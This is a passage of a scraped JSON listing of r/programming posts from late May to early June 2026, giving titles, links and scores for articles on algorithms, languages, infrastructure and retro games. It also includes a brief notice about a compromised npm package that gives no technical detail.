    "kind": "link",
    "url": "https://yogthos.net/posts/2026-06-02-wavescope.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tuxo4i",
  "url": "https://irfanali.org/blog/zcom",
  "permalink": "https://www.reddit.com/r/programming/comments/1tuxo4i/no_let_no_rec_no_problem_a_gentler_introduction/",
  "title": "No Let, No Rec, No Problem: A Gentler Introduction to the Y and Z combinators",
  "body": null,
  "author": "sayyadirfanali",
  "subreddit": "programming",
  "score": 45,
  "upvoteRatio": 0.89,
  "numComments": 4,
  "createdAt": "2026-06-02T17:20:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://irfanali.org/blog/zcom",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tuvqp7",
  "url": "https://david.alvarezrosa.com/posts/deriving-type-erasure/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tuvqp7/deriving_type_erasure/",
  "title": "Deriving Type Erasure",
  "body": "Ever looked at `std::any` and wondered what’s going on behind the scenes? Beneath the intimidating interface is a classic technique called type erasure: concrete types hidden behind a small, uniform wrapper.\n\nStarting from familiar tools like virtual functions and templates, we’ll build a minimal `std::any`. By the end, you’ll have a clear understanding of how type erasure works under the hood.",
  "author": "david-alvarez-rosa",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.79,
  "numComments": 0,
  "createdAt": "2026-06-02T16:15:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://david.alvarezrosa.com/posts/deriving-type-erasure/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tuus4d",
  "url": "https://www.bitsxpages.com/p/the-mathematics-of-multi-tenancy",
  "permalink": "https://www.reddit.com/r/programming/comments/1tuus4d/the_mathematics_of_multitenancy/",
  "title": "the mathematics of multi-tenancy",
  "body": null,
  "author": "NoPercentage6144",
  "subreddit": "programming",
  "score": 104,
  "upvoteRatio": 0.94,
  "numComments": 2,
  "createdAt": "2026-06-02T15:42:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.bitsxpages.com/p/the-mathematics-of-multi-tenancy",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tut3v4",
  "url": "https://youtu.be/yLDiQBdwlHU",
  "permalink": "https://www.reddit.com/r/programming/comments/1tut3v4/metaprogramming_synthesis_verification_nada_amin/",
  "title": "Metaprogramming, Synthesis & Verification • Nada Amin",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.62,
  "numComments": 0,
  "createdAt": "2026-06-02T14:45:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/yLDiQBdwlHU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tuqgwt",
  "url": "https://cekrem.github.io/posts/codimg/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tuqgwt/codimg_the_code_block_is_the_url_cekremgithubio/",
  "title": "codimg: the code block is the URL · cekrem.github.io",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.64,
  "numComments": 1,
  "createdAt": "2026-06-02T13:08:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/codimg/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tupr5n",
  "url": "https://tiki.li/blog/blqsort",
  "permalink": "https://www.reddit.com/r/programming/comments/1tupr5n/branchless_quicksort_faster_than_stdsort_and/",
  "title": "Branchless Quicksort faster than std::sort and pdqsort with C and C++ API",
  "body": null,
  "author": "chkas",
  "subreddit": "programming",
  "score": 149,
  "upvoteRatio": 0.94,
  "numComments": 11,
  "createdAt": "2026-06-02T12:40:18.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tiki.li/blog/blqsort",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tumfhb",
  "url": "https://pizzalegacy.nl/blog/bug-hunt-why-you-only-need-paris-to-beat-pizza-tycoon.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tumfhb/bug_hunt_why_you_only_need_paris_to_beat_pizza/",
  "title": "Bug hunt: Why you only need Paris to beat Pizza Tycoon (1994)",
  "body": null,
  "author": "Optdev",
  "subreddit": "programming",
  "score": 288,
  "upvoteRatio": 0.95,
  "numComments": 26,
  "createdAt": "2026-06-02T10:05:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pizzalegacy.nl/blog/bug-hunt-why-you-only-need-paris-to-beat-pizza-tycoon.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tujc4v",
  "url": "https://fabiensanglard.net/silpheed/index.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tujc4v/sanglard_analyzes_the_video_compression/",
  "title": "Sanglard analyzes the video compression techniques of Silpheed (Sega CD, 1993)",
  "body": null,
  "author": "r_retrohacking_mod2",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.84,
  "numComments": 0,
  "createdAt": "2026-06-02T07:11:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fabiensanglard.net/silpheed/index.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tuha5f",
  "url": "https://pages.cs.wisc.edu/~remzi/Naur.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1tuha5f/programming_as_theory_building_naur_1985_pdflink/",
  "title": "Programming as Theory Building, Naur (1985). PDF-link",
  "body": null,
  "author": "patrixxxx",
  "subreddit": "programming",
  "score": 231,
  "upvoteRatio": 0.97,
  "numComments": 19,
  "createdAt": "2026-06-02T05:20:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pages.cs.wisc.edu/~remzi/Naur.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tu6ayj",
  "url": "https://eblog.fly.dev/githubbad.html#conclusion",
  "permalink": "https://www.reddit.com/r/programming/comments/1tu6ayj/github_and_the_crime_against_software/",
  "title": "github and the crime against software",
  "body": null,
  "author": "CackleRooster",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 19,
  "createdAt": "2026-06-01T21:24:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://eblog.fly.dev/githubbad.html#conclusion",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tu463t",
  "url": "https://tomrenner.com/posts/joining-the-indieweb-1/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tu463t/adding_microformat_tags_to_my_website_enabling_an/",
  "title": "Adding Microformat tags to my website - enabling an open, decentralised web",
  "body": null,
  "author": "SwoopsFromAbove",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.72,
  "numComments": 7,
  "createdAt": "2026-06-01T20:09:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tomrenner.com/posts/joining-the-indieweb-1/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ttuxmh",
  "url": "https://www.adamoshadjivasiliou.com/blog/transformer-in-email.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1ttuxmh/training_inference_of_a_transformer_inside_an/",
  "title": "Training + inference of a transformer inside an email",
  "body": null,
  "author": "kjndfsfdsjnksdf",
  "subreddit": "programming",
  "score": 20,
  "upvoteRatio": 0.72,
  "numComments": 3,
  "createdAt": "2026-06-01T15:02:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.adamoshadjivasiliou.com/blog/transformer-in-email.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ttuhop",
  "url": "https://jimmyhmiller.com/social-language-constructs",
  "permalink": "https://www.reddit.com/r/programming/comments/1ttuhop/social_programming_language_constructs/",
  "title": "Social Programming Language Constructs",
  "body": null,
  "author": "jhartikainen",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.59,
  "numComments": 9,
  "createdAt": "2026-06-01T14:47:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jimmyhmiller.com/social-language-constructs",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ttt4p4",
  "url": "https://safedep.io/redhat-cloud-services-hit-by-mini-shai-hulud-npm-worm/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ttt4p4/redhatcloudservices_publish_pipeline_is/",
  "title": "@redhat-cloud-services publish pipeline is compromised today and shipped a signed, trusted, malicious npm package",
  "body": "patch-client@4.0.4 went out through the project's own github action OIDC trusted publisher today and not any stolen token or a typosquat anything, we saw that the actual release pipeline produced it. this runs on npm install, steals cloud creds and self propagates by injecting fake CodeQL workflows into repository the stolen tokens can reach. 32 packages is currently sharing the same publisher so the window of exposure isn not only just a single package.  \nif you have anything from related to /`redhat-cloud-services` in your tree, 4.0.3 is the last clean version.",
  "author": "BattleRemote3157",
  "subreddit": "programming",
  "score": 625,
  "upvoteRatio": 0.98,
  "numComments": 59,
  "createdAt": "2026-06-01T14:00:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://safedep.io/redhat-cloud-services-hit-by-mini-shai-hulud-npm-worm/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ttremo",
  "url": "https://www.youtube.com/watch?v=ZGXQWjChuO0&feature=youtu.be",
  "permalink": "https://www.reddit.com/r/programming/comments/1ttremo/developers_confess_the_unfiltered_truth/",
  "title": "Developers Confess: The Unfiltered Truth",
  "body": "We asked developers to spill their little dirty secrets, the lies they tell their managers and what actually creates tension in teams. One theme that kept coming up was the gap between how software development looks from the outside and what it actually looks like in practice.",
  "author": "aisatsana__",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.29,
  "numComments": 6,
  "createdAt": "2026-06-01T12:57:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=ZGXQWjChuO0&feature=youtu.be",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ttrc88",
  "url": "https://medium.com/@vivek1502/tcp-was-overkill-how-i-built-ipc-for-a-firecracker-serverless-runtime-2048c2758513",
  "permalink": "https://www.reddit.com/r/programming/comments/1ttrc88/why_i_used_vsock_instead_of_tcp_in_a_firecracker/",
  "title": "Why I used vsock instead of TCP in a Firecracker serverless platform",
  "body": null,
  "author": "viks98",
  "subreddit": "programming",
  "score": 41,
  "upvoteRatio": 0.76,
  "numComments": 12,
  "createdAt": "2026-06-01T12:54:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@vivek1502/tcp-was-overkill-how-i-built-ipc-for-a-firecracker-serverless-runtime-2048c2758513",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ttjtwv",
  "url": "https://lcamtuf.substack.com/p/weekend-trivia-your-process-memory",
  "permalink": "https://www.reddit.com/r/programming/comments/1ttjtwv/your_process_memory_is_a_file_the/",
  "title": "Your process' memory is a file: The underappreciated gem that is /proc/<pid>/mem",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 535,
  "upvoteRatio": 0.96,
  "numComments": 55,
  "createdAt": "2026-06-01T06:32:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lcamtuf.substack.com/p/weekend-trivia-your-process-memory",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tti97b",
  "url": "https://peterdohertys.website/blog-posts/double-shot-of-duck.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tti97b/a_double_shot_of_duckdb_vector_similarity_search/",
  "title": "A Double Shot of DuckDB: Vector Similarity Search and Quack",
  "body": null,
  "author": "pdoherty926",
  "subreddit": "programming",
  "score": 11,
  "upvoteRatio": 0.83,
  "numComments": 0,
  "createdAt": "2026-06-01T05:08:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://peterdohertys.website/blog-posts/double-shot-of-duck.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tt9bs5",
  "url": "https://ben.gesoff.uk/posts/reviewing-large-changes-with-jj/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tt9bs5/reviewing_large_changes_with_jujutsu_ben_gesoff/",
  "title": "Reviewing large changes with Jujutsu - Ben Gesoff",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 129,
  "upvoteRatio": 0.89,
  "numComments": 22,
  "createdAt": "2026-05-31T22:19:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ben.gesoff.uk/posts/reviewing-large-changes-with-jj/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tt7s56",
  "url": "https://sanyamserver.online/posts/docker-networking/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tt7s56/docker_networking_explained_in_plain_english/",
  "title": "Docker Networking explained in plain English",
  "body": null,
  "author": "AdvertisingFancy7011",
  "subreddit": "programming",
  "score": 88,
  "upvoteRatio": 0.91,
  "numComments": 7,
  "createdAt": "2026-05-31T21:18:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sanyamserver.online/posts/docker-networking/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tt1hcf",
  "url": "https://labs.iximiuz.com/tutorials/how-servers-work-tcp-sockets",
  "permalink": "https://www.reddit.com/r/programming/comments/1tt1hcf/how_servers_work_a_handson_introduction_to_tcp/",
  "title": "How Servers Work: A Hands-On Introduction to TCP Sockets",
  "body": null,
  "author": "iximiuz",
  "subreddit": "programming",
  "score": 190,
  "upvoteRatio": 0.95,
  "numComments": 15,
  "createdAt": "2026-05-31T17:24:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.iximiuz.com/tutorials/how-servers-work-tcp-sockets",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tt034b",
  "url": "https://fagnerbrack.com/learn-sql-once-use-it-for-30-years-9aceb0bdee03",
  "permalink": "https://www.reddit.com/r/programming/comments/1tt034b/learn_sql_once_use_it_for_30_years/",
  "title": "Learn SQL Once, Use It for 30 Years",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 518,
  "upvoteRatio": 0.84,
  "numComments": 97,
  "createdAt": "2026-05-31T16:31:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fagnerbrack.com/learn-sql-once-use-it-for-30-years-9aceb0bdee03",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tsyfhk",
  "url": "https://bastrich.tech/story-points/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tsyfhk/story_points_explicit_honest_predictable_already/",
  "title": "Story Points: Explicit, Honest, Predictable. Already in Use.",
  "body": null,
  "author": "areklanga",
  "subreddit": "programming",
  "score": 143,
  "upvoteRatio": 0.84,
  "numComments": 138,
  "createdAt": "2026-05-31T15:28:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bastrich.tech/story-points/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tsrxh8",
  "url": "https://chrisdown.name/2026/03/24/zswap-vs-zram-when-to-use-what.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tsrxh8/debunking_zswap_and_zram_myths/",
  "title": "Debunking zswap and zram myths",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 70,
  "upvoteRatio": 0.93,
  "numComments": 11,
  "createdAt": "2026-05-31T10:46:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://chrisdown.name/2026/03/24/zswap-vs-zram-when-to-use-what.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tsoqjf",
  "url": "https://radekmie.dev/blog/on-scenarios-that-will-not-happen/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tsoqjf/on_scenarios_that_will_not_happen/",
  "title": "On Scenarios That Will Not Happen",
  "body": null,
  "author": "radekmie",
  "subreddit": "programming",
  "score": 77,
  "upvoteRatio": 0.86,
  "numComments": 31,
  "createdAt": "2026-05-31T07:42:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://radekmie.dev/blog/on-scenarios-that-will-not-happen/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tslj02",
  "url": "https://open.substack.com/pub/engineeringatscale/p/redis-distributed-locks-explained?r=8sprj&utm_campaign=post&utm_medium=web&showWelcomeOnShare=true",
  "permalink": "https://www.reddit.com/r/programming/comments/1tslj02/redis_locks_working_failure_modes_and_realworld/",
  "title": "Redis Locks: Working, Failure Modes and Real-World Examples",
  "body": null,
  "author": "Local_Ad_6109",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.66,
  "numComments": 0,
  "createdAt": "2026-05-31T04:48:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://open.substack.com/pub/engineeringatscale/p/redis-distributed-locks-explained?r=8sprj&utm_campaign=post&utm_medium=web&showWelcomeOnShare=true",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ts97an",
  "url": "https://larstofus.com/2026/03/22/the-gold-standard-of-optimization-a-look-under-the-hood-of-rollercoaster-tycoon/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ts97an/the_gold_standard_of_optimization_a_look_under/",
  "title": "The gold standard of optimization: A look under the hood of RollerCoaster Tycoon",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 1069,
  "upvoteRatio": 0.89,
  "numComments": 105,
  "createdAt": "2026-05-30T19:34:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://larstofus.com/2026/03/22/the-gold-standard-of-optimization-a-look-under-the-hood-of-rollercoaster-tycoon/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ts7u6m",
  "url": "https://youtu.be/Ww26eO1WeGQ",
  "permalink": "https://www.reddit.com/r/programming/comments/1ts7u6m/looking_at_code_behind_file_pilot/",
  "title": "Looking at code behind File Pilot",
  "body": "I go over some basics and implement a simple feature live on the Wookash Podcast. It might be interesting to those who have tried File Pilot and wondered why its UI is so fast and responsive.\n\nI do some actual UI programming. Not much, since we were short on time, but enough to give you a glimpse into how it works.",
  "author": "vkrajacic89",
  "subreddit": "programming",
  "score": 31,
  "upvoteRatio": 0.73,
  "numComments": 5,
  "createdAt": "2026-05-30T18:40:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/Ww26eO1WeGQ",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ts1x2l",
  "url": "https://nauths.fr/en/2026/05/28/practical-use-of-monads.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1ts1x2l/practical_uses_of_monads_in_haskell/",
  "title": "Practical uses of monads in Haskell",
  "body": "Inspired by a question on r/haskellquestions, i wrote about the practical aspect of monads for people at a beginner / intermediate level, about how to go beyond mere understanding the monad class. I try to highlight how we use monads to structure our code, what benefits they bring, and how to reason about them. it comes with exercises!",
  "author": "nicuveo",
  "subreddit": "programming",
  "score": 143,
  "upvoteRatio": 0.88,
  "numComments": 124,
  "createdAt": "2026-05-30T14:47:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nauths.fr/en/2026/05/28/practical-use-of-monads.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1trdksd",
  "url": "https://pushtoprod.substack.com/p/queueing-requests-queues-your-capacity-problems-too",
  "permalink": "https://www.reddit.com/r/programming/comments/1trdksd/queueing_requests_queues_your_capacity_problems/",
  "title": "Queueing Requests Queues Your Capacity Problems, Too",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 46,
  "upvoteRatio": 0.81,
  "numComments": 9,
  "createdAt": "2026-05-29T19:50:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pushtoprod.substack.com/p/queueing-requests-queues-your-capacity-problems-too",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1trc1ar",
  "url": "https://blog.gaborkoos.com/posts/2026-05-29-How-to-Evaluate-an-npm-Package-2026-Edition/?utm_source=reddit&utm_medium=social&utm_campaign=how-to-evaluate-an-npm-package-2026-edition&utm_content=r_programming",
  "permalink": "https://www.reddit.com/r/programming/comments/1trc1ar/a_practical_checklist_for_evaluating_npm_packages/",
  "title": "A practical checklist for evaluating npm packages",
  "body": "Checklist for evaluating third-party npm packages before install",
  "author": "OtherwisePush6424",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.56,
  "numComments": 4,
  "createdAt": "2026-05-29T19:00:40.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.gaborkoos.com/posts/2026-05-29-How-to-Evaluate-an-npm-Package-2026-Edition/?utm_source=reddit&utm_medium=social&utm_campaign=how-to-evaluate-an-npm-package-2026-edition&utm_content=r_programming",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tr8j9g",
  "url": "https://www.romaglushko.com/blog/k8s-gateway-api/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tr8j9g/deep_dive_into_kubernetes_gateway_api/",
  "title": "Deep Dive into Kubernetes Gateway API",
  "body": "I’ve just published a deep dive into Kubernetes Gateway API.\n\nThe blog post covers:\n\n* how Kubernetes ingress patterns evolved from `Service` resources to Ingress and now Gateway API\n* why the Ingress API is limited for modern teams\n* how Gateway API works: `GatewayClass`, `Gateway`, 5x `Routes`, policies, `ReferenceGrant`, and more\n* what to do if you are still running the deprecated NGINX Ingress Controller\n* how I would think about picking a Gateway API implementation: Envoy Gateway, Istio, kgateway, Traefik, NGINX Gateway Fabric, Cilium, Kong, etc.\n\nHope you find this useful and good luck with your Ingress migrations 🙏",
  "author": "roma-glushko",
  "subreddit": "programming",
  "score": 24,
  "upvoteRatio": 0.79,
  "numComments": 2,
  "createdAt": "2026-05-29T17:09:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.romaglushko.com/blog/k8s-gateway-api/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tr09pj",
  "url": "https://fede-vaccaro.github.io/hedgedb.github.io/direct-io.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tr09pj/the_case_for_direct_io_why_it_matters_for_high/",
  "title": "The case for Direct I/O - why it matters for high performance storage",
  "body": "Hello everyone,\n\nRecently I published on GitHub [HedgeDB](https://github.com/fede-vaccaro/HedgeDB), my high-perf and persisted Key-Value store.\n\nInternally, it uses Direct I/O (`O_DIRECT`) almost everywhere. In this article I explain the reasons behind this choice, also motivated from some fun experiments I had with `fio` that you can find in the article. and some consideration about the page cache.",
  "author": "IlPresidente995",
  "subreddit": "programming",
  "score": 28,
  "upvoteRatio": 0.93,
  "numComments": 0,
  "createdAt": "2026-05-29T12:25:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://fede-vaccaro.github.io/hedgedb.github.io/direct-io.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tqzcys",
  "url": "https://susam.net/elliptical-python-programming.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tqzcys/programming_with_ellipsis/",
  "title": "Programming with ellipsis",
  "body": null,
  "author": "fpcoder",
  "subreddit": "programming",
  "score": 134,
  "upvoteRatio": 0.96,
  "numComments": 16,
  "createdAt": "2026-05-29T11:47:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://susam.net/elliptical-python-programming.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tqwtnx",
  "url": "https://blog.dlang.org/2026/05/29/i-stopped-fighting-my-tools-and-built-a-game-engine-in-d/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tqwtnx/i_stopped_fighting_my_tools_and_built_a_game/",
  "title": "I Stopped Fighting My Tools and Built a Game Engine in D",
  "body": "Alexandros Kapretsos describes how he used some D programming language features in his 2D game engine. He covers his approach to memory management, how he employs metaprogramming, writing scripts with D, and more.",
  "author": "aldacron",
  "subreddit": "programming",
  "score": 34,
  "upvoteRatio": 0.81,
  "numComments": 7,
  "createdAt": "2026-05-29T09:47:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.dlang.org/2026/05/29/i-stopped-fighting-my-tools-and-built-a-game-engine-in-d/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
